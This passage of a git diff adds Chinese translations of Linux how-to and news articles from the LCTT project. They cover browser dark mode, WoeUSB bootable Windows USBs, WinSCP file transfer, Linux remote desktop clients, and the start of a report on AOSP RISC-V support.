实验室选择。 + +我希望这份 2022 年最适合程序员的 Linux 发行版清单能给你一些指导,让你选择最喜欢的 Linux 发行版进行编程和开发。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/top-linux-distributions-programmers-2022/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/11/Fedora-35-Workstation.jpg +[2]: https://getfedora.org/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/03/Ubuntu-Desktop-is-a-perfect-Linux-Distribution-for-Programmers.jpg +[4]: https://ubuntu.com/download +[5]: https://www.opensuse.org/ +[6]: https://manjaro.org/download/ +[7]: https://www.debugpoint.com/2022/01/archinstall-guide/ +[8]: https://archlinux.org/download/ +[9]: https://www.debugpoint.com/wp-content/uploads/2021/12/Pop-OS-21.10-Desktop.jpg +[10]: https://pop.system76.com/ +[11]: https://neon.kde.org/download +[12]: https://www.debian.org/distrib/ +[13]: https://www.kali.org/ +[14]: https://labs.fedoraproject.org/en/scientific/ +[15]: https://labs.fedoraproject.org/en/comp-neuro/ +[16]: https://labs.fedoraproject.org/en/robotics/ +[17]: https://labs.fedoraproject.org/en/security +[18]: https://labs.fedoraproject.org/en/astronomy +[19]: https://labs.fedoraproject.org/en/python-classroom diff --git a/published/202211/20221030.0 ⭐️ How to Enable Dark Mode in Web Browser.md b/published/202211/20221030.0 ⭐️ How to Enable Dark Mode in Web Browser.md new file mode 100644 index 0000000000..733c174ab8 --- /dev/null +++ b/published/202211/20221030.0 ⭐️ How to Enable Dark Mode in Web Browser.md @@ -0,0 +1,104 @@ +[#]: subject: "How to Enable Dark Mode in Web Browser" +[#]: via: "https://www.debugpoint.com/dark-mode-browser/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15226-1.html" + +如何在 Web 浏览器中启用深色模式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/08/110615dax28a8fhx13hxhi.jpg) + +> 本指南旨在帮助你在 Firefox、Chrome、Chromium 和 Edge 等流行的网页浏览器中启用深色模式。 + +我们都喜欢深色模式。与标准浅色模式相比,许多人更喜欢它。许多桌面应用原生提供深色模式,而一些应用则是通过桌面环境的底层模式适应深色模式。 + +不可否认,我们都在网页浏览器上花费了很多时间。我们很少使用桌面应用(除非你从事专门的工作,例如视频编辑等)。因此,当你花费大量时间在浏览器中阅读和学习时,你始终可以选择深色模式。不过,对于网页浏览器,启用深色模式的方法略有不同。 + +本指南为你提供了在 Firefox、Chromium、Chrome 和 Edge 浏览器中启用深色模式的简单步骤。 + +### 在网页浏览器中启用深色模式 + +#### 在 Firefox 中启用深色模式 + +打开 Firefox 并点击右上角的菜单。 + +单击 “设置Settings > 扩展和主题Extension and Themes”。 + +选择 “深色主题Dark Theme” 并点击 “启用enable”。你应该会看到深色模式已应用于 Firefox。 + +![Enable dark mode in Firefox][1] + +*在 Firefox 浏览器中启用深色模式* + +![Firefox in Dark Mode][2] + +*深色模式下的 Firefox* + +要将其还原,请按照相同的步骤并选择浅色主题。 + +#### Chromium 和 Chrome 中的深色模式 + +默认情况下,Chromium 或 Chrome 不会预安装任何深色主题。因此,你需要前往 Chrome 应用商店并下载你想要的深色主题。对于本指南,我会推荐超过一百万用户使用的 “Morpheon Dark” 主题。 + +从 Chromium 浏览器打开 Morpheon Dark 主题页面(以下链接)。 + +> **[Chrome 应用商店中的 Morpheon Dark 主题][3]** + +点击 “添加到 ChromeAdd To Chrome” 按钮。它应该会在 Chrome 中启用。 + +你可能想探索 Chrome 应用店中提供的其他深色或浅色主题。 [访问此页面获取所有深色主题的集合][4]。 + +但是,你应该要记住的一件事是:此主题不会更改设置或上下文菜单,这是显而易见的。因为它只是改变了浏览器窗口,而这些菜单(有时)是操作系统本身的一部分。 + +![Chromium Dark Theme][5] + +*Chromium 深色主题* + +对 Chrome 浏览器也遵循相同的步骤。 + +#### Edge 浏览器 – 深色模式 + +但是,[Edge 浏览器][6] 默认带有更好的深色主题。它允许你从设置中使用 GTK+、浅色和深色模式。 + +打开 Edge 浏览器,点击右上角的三个小点。 + +转到 “外观Appearance” 并选择 “深色Dark”。这样应该就好了。 + +Edge 的这种深色主题实现更好,因为它改变了上下文菜单和地址栏。 + +![Edge in Dark Theme][7] + +*深色主题的 Edge* + +### 总结 + +如果你是高级用户,你可能不需要本指南。你可以自己弄清楚。 + +但我们为所有读者涵盖了所有基础到高级教程。许多新的 Linux 用户可能不知道如何在浏览器中启用深色模式。 + +所以,就是说,我希望这对你和其他人有帮助。如果你遇到任何问题,请在下面的评论框中告诉我。 + +--- + +via: https://www.debugpoint.com/dark-mode-browser/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/10/Enable-dark-mode-in-Firefox.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/10/Firefox-in-Dark-Mode-1024x423.jpg +[3]: https://chrome.google.com/webstore/detail/morpheon-dark/mafbdhjdkjnoafhfelkjpchpaepjknad?hl=en-GB +[4]: https://chrome.google.com/webstore/category/collection/dark_themes +[5]: https://www.debugpoint.com/wp-content/uploads/2021/10/Chromium-Dark-Theme-1024x463.jpg +[6]: https://www.debugpoint.com/2020/10/how-to-install-edge-ubuntu-linux/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/10/Edge-in-Dark-Theme-1024x541.jpg diff --git a/published/202211/20221030.2 ⭐️⭐️ Install WoeUSB on Ubuntu to Create a Bootable Windows USB.md b/published/202211/20221030.2 ⭐️⭐️ Install WoeUSB on Ubuntu to Create a Bootable Windows USB.md new file mode 100644 index 0000000000..4ec2ffed02 --- /dev/null +++ b/published/202211/20221030.2 ⭐️⭐️ Install WoeUSB on Ubuntu to Create a Bootable Windows USB.md @@ -0,0 +1,190 @@ +[#]: subject: "Install WoeUSB on Ubuntu to Create a Bootable Windows USB" +[#]: via: "https://itsfoss.com/install-woeusb-ubuntu/" +[#]: author: "Sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15217-1.html" + +在 Ubuntu 上安装 WoeUSB 来创建一个可启动 Windows USB +====== + +> 想在 Linux 上创建一个可启动 Windows USB ?Ventoy 是一个很好的选择。 + +但是,在 Ventoy 出道之前,WoeUSB 是用于创建可启动 Windows USB 的首选工具。原版 WoeUSB 工程在 2014 年左右香消玉损。 + +鉴于其流行程度,一位新的开发者接过了将其起死回生的任务。因此,WoeUSB-ng 诞生了。在这里,“ng” 是 新生代new generation 的缩写。换句话说,[WoeUSB-ng][1] 是新生代的 WoeUSB 。但是,因为原版的工具已经不存在了,我将 WoeUSB-ng 描述为 WoeUSB 。 + +在这篇教程中,我将向你展示如何在 Ubuntu Linux 上安装 WoeUSB 。我也将分享使用 WoeUSB 来创建可启动 Windows USB 的步骤。 + +但是,在此之前,让我们快速查看这个令人惊叹的工具的特色。 + +### WoeUSB + +![install woeusb ubuntu][2] + +WoeUSB 是一个简单的工具,其唯一的目的是 [在 Linux 上创建可启动 Windows USB][3] 。 + +原版 WoeUSB 是一个 shell 脚本。这个原版 WoeUSB 被使用 Python 重写为 WoeUSB-ng ,它可以安装在你的系统上,并且通过命令行或 GUI 界面。 + +特色: + +- 支持老式 PC 启动或 UEFI 启动 +- 支持 FAT32 和 NTFS 文件系统 +- 支持使用物理安装盘或磁盘镜像作为源 +- 它可以用于 Windows Vista 及其更高版本的任意语言或变体版本 +- 老式的 MBR/IBM PC 兼容启动模式 +- 本机 UEFI 启动支持 Windows 7 及其更高版本的镜像(仅限于将 FAT 文件系统作为目标的情况) + +### 在 Ubuntu 和其它的 Linux 发行版上安装 WoeUSB + +Arch Linux 用户可以从 AUR 安装 WoeUSB-ng 。 + +对于其它的发行版,可以使用 PIP 来安装 WoeUSB 。毕竟,它是一个 Python 应用程序。在这里,我将为 Ubuntu/Debian 提供一些命令。 + +为安装 WoeUSB-ng ,你首先需要 [安装 PIP][4] 和其它必要的依赖项。 + +``` +sudo apt install git p7zip-full python3-pip python3-wxgtk4.0 grub2-common grub-pc-bin +``` + +在这之后,你可以安装 WoeUSB-ng ,通过运行: + +``` +sudo pip3 install WoeUSB-ng +``` + +对于所有的其它安装,你可以参考其 [操作指南][5] 。 + +> **[WoeUSB-ng][1]** + +### 前提条件: 获取 Windows 的 ISO 文件和一个兼容的 USB 磁盘 + +这一点没有什么需要说的。你需要有一个你将要安装的 Windows 版本的 ISO 文件。 + +从微软的网站,你应该能够获取 Windows 10 和 11 的ISO 文件。 + +> **[下载 Windows][6]** + +如果你有较旧的 Windows 版本的 ISO 文件,也可以使用它们。 + +除此之外,你需要有一个至少 8 GB 大小的 USB 驱动器磁盘。你应该使用 NTFS 的文件系统来格式化它filesystem. + +### 方法 1: 使用图形用户界面化的 WoeUSB 来创建一个可启动的 Windows USB(推荐) + +从 活动概述activity overview 或菜单中打开 woeusb-gui 。 + +![woeusb in ubuntu activities overview][7] + +在应用程序窗口中,选择下载的 Windows ISO 和所希望的 USB 驱动器,如截屏所示,然后按下 安装Install 按钮。 + +![woeusb gui setup][8] + +在应用程序中也其它可用的调整,可以通过顶部的菜单栏来访问使用。 + +在按下“安装”按钮后,woeUSB 将开始格式化和复制文件。你需要等待一些时间,因为这里有大约 6 GB 的文件需要复制。 + +![woeusb writing windows iso to the usb drive][9] + +在复制完成后,WoeUSB 将会提示一个成功的对话框。你现在可以安全地弹出 USB 驱动器,并将其作为一个可启动 USB 驱动器来使用。 + +![woeusb completed writing and gives a success message][10] + +### 方法 2: 从终端中使用 WoeUSB(针对专家) + +WoeUSB-ng 软件包也提供一个名称为 `woeusb` 的命令行实用程序。 + +为使用 WoeUSb 来创建一个可启动的 Windows USB ,你需要运行下面的命令: + +``` +sudo woeusb --device --target-filesystem ntfs +``` + +在这里,`--device` 标识用于擦除 USB 和从零开始创建一个可启动 USB 驱动器。同样,`--target-filesystem` 标识用于设置为 NTFS ,来避免将要复制的文件大小超过 FAT 文件系统的限制。 + +![woeusb commandline][11] + +该过程将花费一些时间来完成复制。在完成复制后,它将显示一条成功的信息。 + +![woeusb commandline success message][12] + +此时,你可以安全地弹出 USB 驱动器,并在其它的个人电脑上将其作为一个 Windows 可启动 USB 来使用。 + +### 超值: 使用 WoeUSB 的 Bash Shell 脚本(针对专家) + +WoeUSB 也提供一个 Bash Shell 脚本,在你的系统上,它不需要安装任何东西就可以使用。 + +首先,你需要从 [该工程的发布版本页面][13] 下载 Shell 脚本。 + +在 [执行 Shell 文件][14] 之前,你需要获取所需要的依赖项。为安装它,运行: + +``` +sudo apt install wimtools +``` + +现在,通过文件管理器或通过命令行来使它可执行。 + +![make woeusb script executable][15] + +或者,你可以运行 `chmod +x ` 来使它可执行。现在,运行已下载目录中的 `./woeusb-5.2.4.bash -h` 来获取帮助。 + +为创建一个现场 USB ,该进程类似于 woeusb-ng 的命令行部分,但是你没有安装任何东西。 + +因此,在一个终端中,运行: + +``` +sudo --device --target-filesystem ntfs +``` + +这将开始将 ISO 写入 USB 驱动器,如下面的截屏所示: + +![woeusb bash script running without installation][16] + +在完成后,你可以安全地弹出 USB 驱动器,并将其作为可启动 USB 使用。 + +### 移除 WoeUSB + +如果你使用 PIP 安装 WoeUSB ,你也可以类似地移除它: + +``` +pip3 uninstall WoeUSB-ng +``` + +你可以在你的系统上保留或移除已安装的依赖项。这完全取决于你。我建议保留它们。 + +### 总结 + +大约 10 年前,WoeUSB 是一个非常流行的工具。其他人以另外一种形式将其复活是很好的,这就是开源的艺术。 + +我希望这篇教程会帮助你。如果通过 WoeUSB 创建的 Windows USB 不能按部就班地工作,你可以 [尝试使用 Ventoy][3] 。享受它。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-woeusb-ubuntu/ + +作者:[Sreenath][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://github.com/WoeUSB/WoeUSB-ng +[2]: https://itsfoss.com/wp-content/uploads/2022/10/install-woeusb-ubuntu.png +[3]: https://itsfoss.com/bootable-windows-usb-linux/ +[4]: https://itsfoss.com/install-pip-ubuntu/ +[5]: https://github.com/WoeUSB/WoeUSB-ng#installation +[6]: https://www.microsoft.com/en-in/software-download/ +[7]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-in-ubuntu-activities-overview.png +[8]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-gui-setup.png +[9]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-writing-windows-iso-to-the-usb-drive.png +[10]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-completed-writing-and-gives-a-success-message.png +[11]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-commandline.png +[12]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-commandline-success-message.png +[13]: https://github.com/WoeUSB/WoeUSB/releases/tag/v5.2.4 +[14]: https://itsfoss.com/run-shell-script-linux/ +[15]: https://itsfoss.com/wp-content/uploads/2022/10/make-woeusb-script-executable.png +[16]: https://itsfoss.com/wp-content/uploads/2022/10/woeusb-bash-script-running-without-installation.png diff --git a/published/202211/20221101.1 ⭐️⭐️ Transfer files and folders from Windows to Linux with WinSCP.md b/published/202211/20221101.1 ⭐️⭐️ Transfer files and folders from Windows to Linux with WinSCP.md new file mode 100644 index 0000000000..dab44cba47 --- /dev/null +++ b/published/202211/20221101.1 ⭐️⭐️ Transfer files and folders from Windows to Linux with WinSCP.md @@ -0,0 +1,115 @@ +[#]: subject: "Transfer files and folders from Windows to Linux with WinSCP" +[#]: via: "https://opensource.com/article/22/11/transfer-files-folders-windows-linux-winscp" +[#]: author: "Paul https://opensource.com/users/plaubscher" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15297-1.html" + +使用 WinSCP 将文件和文件夹从 Windows 传输到 Linux +====== + +![][0] + +> 如果你正在寻找一种快速的从你的 Windows 计算机传输文件到你的 Linux 计算机的方法,那么开源的 WinSCP 实用程序会使其很容易地通过网络传输文件或文件夹。 + +有时,你需要通过文件传输文件。有很多文件共享服务,但是大多数的共享服务都要求你发送你的文件到互联网上。当两台计算机并排在一起或在一栋建筑物中时,通过互联网传输文件,这似乎看起来绕了很远的路(更不用说隐私问题)。开源的 WinSCP 实用程序会使其很轻易地通过网络将一个文件或一个文件夹从你的 Windows 计算机传输到你的 Linux 计算机。 + +### IP 地址 + +在你可以传输之前,你必须知道目标计算机的 IP 地址或完全限定域名。假设它是一台在你的同一个网络上的计算机,并且你没有运行 DNS 服务器来解析计算机名称,你可以在 Linux 计算机上使用 `ip` 命令来找到目标 IP 地址: + +``` +[linux]$ ip addr show |grep 'inet ' +inet 127.0.0.1/8 scope host lo   +inet 192.168.1.23/24 brd 10.0.1.255 scope global noprefixroute eth0 +``` + +`127.0.0.1` 是一个 环回地址loopback address ,计算机仅使用它来自我通信,因此在这个示例中,正确的地址是 `192.168.1.23` 。在你的系统中,IP 地址可能会看起来有所不同。如果你不确定哪个是哪个,你可以逐个尝试到你找到正确的 IP 地址 (然后,在一些地方写下来!) + +或者,你可以查找你的路由器设置,它列出了所有通过 DHCP 分配的地址。 + +### 防火墙和地址 + +`WinSCP` 命令使用 OpenSSH 协议,因此,你的 Linux 计算机必需运行 OpenSSH 服务器软件,并且你的 Linux 计算机的防火墙必需允许 SSH 通信。 + +如果你不确定你的 Linux 机器是否在运行 SSH ,那么在 Linux 机器的终端上运行这个命令: + +``` +[linux]$ sudo systemctl enable --now sshd +``` + +为确保你的防火墙允许 SSH 通信,运行这个命令: + +``` +[linux]$ sudo firewall-cmd --add-servicessh--permanent +``` + +关于 Linux 上的防火墙的更多信息,阅读 [增强 Linux 防火墙][1] 。 + +### 使用 WinSCP + +WinSCP 是一款针对微软 Windows 的开源 SSH 文件传输应用程序。为使用它,你必须先 [下载][2] 和 [安装][2] 它。 + +在你安装完成后,打开 WinSCP ,并在 “文件协议File Protocol” 字段中选择 “SCP” 选项。 + +在 “主机名称Host name” 字段中添加你的 Linux 计算机的 IP 地址或 DNS 名称,并在 “端口号Port number” 字段中输入 **22** 。针对该 Linux 计算机,输入你的用户名称和密码,然后单击 WinSCP 窗口底部的 “登录Login” 按钮。 + +![Image of the WinSCP login window.][3] + +验证你是否获取了登录 Linux 计算机的身份授权。在验证成功后,你的 Linux 计算机的 IP 地址或 DNS 名称将显示在窗口的顶部。 + +![Image of a WinSCP window showing where IP adress is located.][4] + +现在,你可以从左侧的 Windows 面板中拖拽一个文件(如示例,我使用 `winscp-test.txt` 文件)到右侧的目标 Linux 计算机目标,接下来文件会传输。 + +![Image of drag and drop window in WinSCP.][5] + +或者,你可以在左侧的面板中右键单击一个文件,然后上传它到右侧的远程目标的面板。 + +![Image of a right click option to upload files in WinSCP.][6] + +### 验证副本 + +打开一个 Linux 终端,然后使用 `ls` 命令来查看已传输的 `winscp-test.txt` 文件。在我的示例中,它出现在我的主目录, `/home/sysadmin` 。 + +``` +$ ls +Desktop +Documents +Downloads +Music +Pictures +pscp-test.txt[...] +``` + +你已经通过网络成功地将一个文件从一台 Windows 计算机传输到一台 Linux 计算机! + +当然,你也可以使用类似上述的技术,将文件和文件夹从一台 Linux 计算机传输到一台 Windows 计算机。 + +### 远程复制 + +使用强大的开源 WinSCP 应用程序,你可以访问在你家中或工作场所的任意一台计算机、你拥有账户的服务器、甚至是移动设备、[边缘设备][7]、物联网设备。使用这个极好的工具来传输文件就像你在本地目录下将一个文件复制到另一个本地目录一样容易! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/transfer-files-folders-windows-linux-winscp + +作者:[Paul][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/plaubscher +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/7/make-linux-stronger-firewalls +[2]: https://sourceforge.net/projects/winscp/files/ +[3]: https://opensource.com/sites/default/files/2022-10/winscp.loginwindow.png +[4]: https://opensource.com/sites/default/files/2022-10/WinSCPwindow.showing.IPinfo.png +[5]: https://opensource.com/sites/default/files/2022-10/WinSCP.drapdropwindow.png +[6]: https://opensource.com/sites/default/files/2022-10/RightclickUploadfileWInSCP.png +[7]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing?intcmp=7013a000002qLH8AAM +[0]: https://img.linux.net.cn/data/attachment/album/202211/28/092919hf6y9ojjlmmsfmlm.jpg \ No newline at end of file diff --git a/published/202211/20221101.10 ⭐️⭐️ Best Remote Desktop Clients for Ubuntu and Other Linux [2022].md b/published/202211/20221101.10 ⭐️⭐️ Best Remote Desktop Clients for Ubuntu and Other Linux [2022].md new file mode 100644 index 0000000000..a3d0cdfbe6 --- /dev/null +++ b/published/202211/20221101.10 ⭐️⭐️ Best Remote Desktop Clients for Ubuntu and Other Linux [2022].md @@ -0,0 +1,199 @@ +[#]: subject: "Best Remote Desktop Clients for Ubuntu and Other Linux [2022]" +[#]: via: "https://www.debugpoint.com/best-remote-desktop-clients-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15291-1.html" + +最佳 Linux 远程桌面客户端 +====== + +![][0] + +> 一个适用于 Ubuntu 和其他 Linux 发行版的最佳远程桌面客户端的列表。 + +远程桌面客户端允许你连接到任何其他桌面/服务器,并远程执行任务。它是一种重要的 IT 支持和商业用例。在 Linux 中,有许多远程桌面客户端可用。其中一些是免费的,而另一些是付费版本。所有这些客户端都支持流行的 远程桌面协议Remote Desktop Protocol(RDP),如 VNC、RDP 等等。 + +本文将介绍一些适用于 Ubuntu 和其他发行版的最佳免费远程桌面客户端。该列表包括自由开源的应用程序,以及一些免费使用但专有的应用程序。 + +注意:你的目标系统中需要一个远程桌面服务器(如 Xrdp)来成功建立远程连接。然后你才能使用以下应用程序进行连接。这是一个双向的过程。如果你想了解更多的情况,请参考我们的一个案例研究: + +> **[通过 RDP 从 Windows 连接到 Ubuntu][1]** + +### 适用于 Linux 的最佳远程桌面客户端 + +#### GNOME Connections + +![GNOME 连接][2] + +第一个远程桌面客户端是一个原生的 [GNOME 应用程序][3]:GNOME 连接Connections 应用。这个基于 GTK 的应用程序带来了一个简单的用户界面。它是一个非常适合初学者的应用程序。它可以在一分钟内快速设置和连接(如果你知道 IP 和其他细节)。 + +此外,它还提供了清晰的指示,说明你是要连接到 Linux 还是 Windows。GNOME 连接应用支持 VNC(针对 Linux)和 RDP(针对 Windows)协议。 + +用 Flatpak 安装这个应用程序超级简单。[设置你的系统以使用 Flatpak][7],并使用以下命令进行安装: + +``` +flatpak install flathub org.gnome.Connections +``` + +更多信息: + +- [源代码和主页][4] + +#### KRDC + +![KRDC][5] + +下一个应用程序是 KRDC,这是一个 [KDE 应用程序][6],允许你查看和控制另一台机器上的远程桌面会话。它支持 VNC 和 RDP 协议。你还可以控制分辨率和设置密码;当然,它与你的 Plasma 桌面整合得很好。 + +所以,如果你正在寻找一个原生的 KDE 远程桌面应用程序,那就是它。对于 KDE Plasma 桌面,它应该是默认安装的。 + +如果没有,理想的方法是使用 Flatpak 来安装它。[设置你的系统以使用 Flatpak][7],然后使用下面的命令来安装: + +``` +flatpak install flathub org.kde.krdc +``` + +更多信息: + +- [主页][8] +- [文档][9] +- [源代码][10] + +#### Remmina + +![Remmina 远程桌面客户端][11] + +Remmina 是 Linux 系统中最古老的远程桌面客户端之一。可能是你有需要时的“首选”客户端。这个自由开源的应用程序可用于 Linux,也可用于 macOS。它支持许多远程协议,如 RDP、VNC、NX、X2GO、SPICE、HTTPS 和 SSH。 + +此外,它的用户界面简单而厚重,而且在开发和错误修复方面超级活跃。 + +这个应用程序已经在所有主要发行版的软件库中。你可以在 Ubuntu 的软件应用中搜索 “remmina”,或在其他发行版的相关应用中搜索。然后点击安装即可。 + +此外,你也可以 [为 Flatpak 设置你的系统][7],用下面的命令以 Flatpak 安装: + +``` +flatpak install flathub org.remmina.Remmina +``` + +更多信息: + +- [主页][12] +- [源代码][13] + +#### TigerVNC + +TigerVNC 是一个自由开源的“平台中立”的 VNC(虚拟网络计算Virtual Network Computing)协议的实现,带有客户端和服务器包。当有高性能需求时,你可以使用这个远程桌面,因为它在远程连接的 3D/视频数据方面效果最好,经过了优化。 + +此外,它仍然提供了一个 32 位的安装程序,以及通常的 64 位程序和命令行界面。TigerVNC 的客户端程序名称是 `vncviewer`,请 [参考这里][14] 的各种选项。 + +你可以从 [Sourceforge 页面][15] 获得预编译的 deb 和 RPM 包。 + +更多信息: + +- [主页][16] +- [文档][17] +- [源代码][18] + +#### X2Go + +![X2Go][19] + +[X2Go][20] 是一个基于 Linux 的远程桌面软件,基于 NX 技术,由 NoMachine 开发。它是一个客户端和服务器包的集合,使你能够通过代理连接到远程机器。 + +对于远程客户端部分,它有两种选择。你可以使用 X2Go 客户端或 Pyhoca-GUI(基于 Python)。所有这些都被捆绑在一起,放在 Linux 的存储库中。此外,所有的组件也可用于 Windows 和 macOS。 + +你可以从以下页面下载该软件的客户端和服务器部分: + +[下载 X2Go][31] + +#### Chrome 远程桌面 + +![Chrome 远程桌面][21] + +如果你喜欢通过网页浏览器进行远程连接,或者在安装 RDP 服务器时遇到了限制,你可以尝试通过 Chrome 浏览器进行远程连接。 + +Chrome 远程桌面Chrome Remote Desktop 服务是由谷歌创建的,可以通过互联网使用。这项服务通过 WebRTC 协议在浏览器上运行,并使用一些专有技术。 + +一旦启动,就会从主机上下载一个服务器组件,并使用 Chrome 来提供功能。而在客户机上使用 Chrome 浏览器扩展来启用你的远程连接。 + +你可以打开以下网址,通过 Chrome 和支持 WebRTC 的浏览器访问这项服务。 + +> **[https://remotedesktop.google.com/][22]** + +此外,它为远程查看你的系统提供了一个基于 PIN 的即时认证机制。而且它限制只能被最多 100 个客户端使用。 + +### 更多的远程客户端 + +上面的列表应该足以满足大多数常见的使用情况。然而,如果你仍然渴望得到更多的远程桌面客户端,这里是我为你准备的一个列表,并简要介绍了它们的性质。 + +#### 自由开源的 + +- [TurboVNC][23](自由开源) +- [UltraVNC][24](自由开源) +- FreeRDP(免费开源 + 需要编译 + 支持 Wayland) + +#### 商业闭源,需要许可证才能使用 + +- [Thincast][25] (免费使用;Flatpak 软件包;可用于树莓派;闭源和专有许可证) +- [NoMachine][26] (个人免费使用;商业付费;流行,可用于 Linux、Windows、macOS、树莓派) +- [AnyDesk][27] (个人免费;企业付费;闭源) +- [VNC Connect][28] (付费;闭源) +- [TightVNC][29] (需要带有电子邮件地址的许可证才能在 Linux 中使用) +- [itopia][30] (免费,有试用版;Flatpak) + +### 总结 + +本文列出了一些适用于 Ubuntu 和其他 Linux 发行版的最新远程桌面客户端。其中一些是免费的,而且很容易使用。你可以将它们用于远程支持、学习和其他使用情况。此外,我还提到了基于 WebRTC 的远程服务,除了浏览器扩展,不需要任何安装。 + +此外,为了大家方便,我也提到了一些商业的。因为如果你是一个中小型企业,你可能想看看有支持的付费版本应用程序。 + +最后,哪一个远程客户端软件是你的 “首选” 应用程序?请在下面的评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-remote-desktop-clients-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/connect-ubuntu-20-04-windows-10/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/11/GNOME-Connections.jpg +[3]: https://www.debugpoint.com/best-gnome-apps-part-1/ +[4]: https://gitlab.gnome.org/GNOME/connections +[5]: https://www.debugpoint.com/wp-content/uploads/2022/11/KRDC.jpg +[6]: https://www.debugpoint.com/best-kde-apps-part-1/ +[7]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[8]: https://apps.kde.org/krdc/ +[9]: https://docs.kde.org/?application=krdc +[10]: https://invent.kde.org/network/krdc +[11]: https://www.debugpoint.com/wp-content/uploads/2020/03/Remmina.png +[12]: https://remmina.org/ +[13]: https://gitlab.com/Remmina/Remmina +[14]: https://tigervnc.org/doc/vncviewer.html +[15]: https://sourceforge.net/projects/tigervnc/files/stable/ +[16]: https://tigervnc.org/ +[17]: https://github.com/TigerVNC/tigervnc/wiki +[18]: https://github.com/TigerVNC/tigervnc/releases +[19]: https://www.debugpoint.com/wp-content/uploads/2020/03/X2Go.jpg +[20]: https://wiki.x2go.org/doku.php/download:start +[21]: https://www.debugpoint.com/wp-content/uploads/2020/03/Chrome-Remote-Desktop.png +[22]: https://remotedesktop.google.com/ +[23]: https://www.turbovnc.org/ +[24]: https://www.uvnc.com/ +[25]: https://thincast.com/ +[26]: https://www.nomachine.com/ +[27]: https://anydesk.com/ +[28]: https://www.realvnc.com/en/connect/ +[29]: https://www.tightvnc.com/ +[30]: https://itopia.com/ +[31]: https://wiki.x2go.org/doku.php/download:start +[0]: https://img.linux.net.cn/data/attachment/album/202211/26/113747n4iymaq6afri2fqq.jpg \ No newline at end of file diff --git a/published/202211/20221101.3 ⭐️ The Android Open Source Project Is Now RISC-V Compatible.md b/published/202211/20221101.3 ⭐️ The Android Open Source Project Is Now RISC-V Compatible.md new file mode 100644 index 0000000000..145bf40640 --- /dev/null +++ b/published/202211/20221101.3 ⭐️ The Android Open Source Project Is Now RISC-V Compatible.md @@ -0,0 +1,38 @@ +[#]: subject: "The Android Open Source Project Is Now RISC-V Compatible" +[#]: via: "https://www.opensourceforu.com/2022/11/the-android-open-source-project-is-now-risc-v-compatible/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15221-1.html" + +安卓开源项目(AOSP)现在兼容 RISC-V 了 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/06/091143bfvf3wz0sluua229.jpg) + +> 安卓的一个重要进展是将安卓开源项目Android Open Source Project(AOSP)移植到 RISC-V 处理器架构。 + +AOSP 已经开始在上游启用 RISC-V,这将促进 RISC-V CPU 在可穿戴设备、物联网,以及最终在智能手机和笔记本电脑中的使用。 + +为了开放生态系统,中国科学院 PLCT 实验室的工程师和软件开发人员在 2020 年开始将 Android 10 移植到 RISC-V 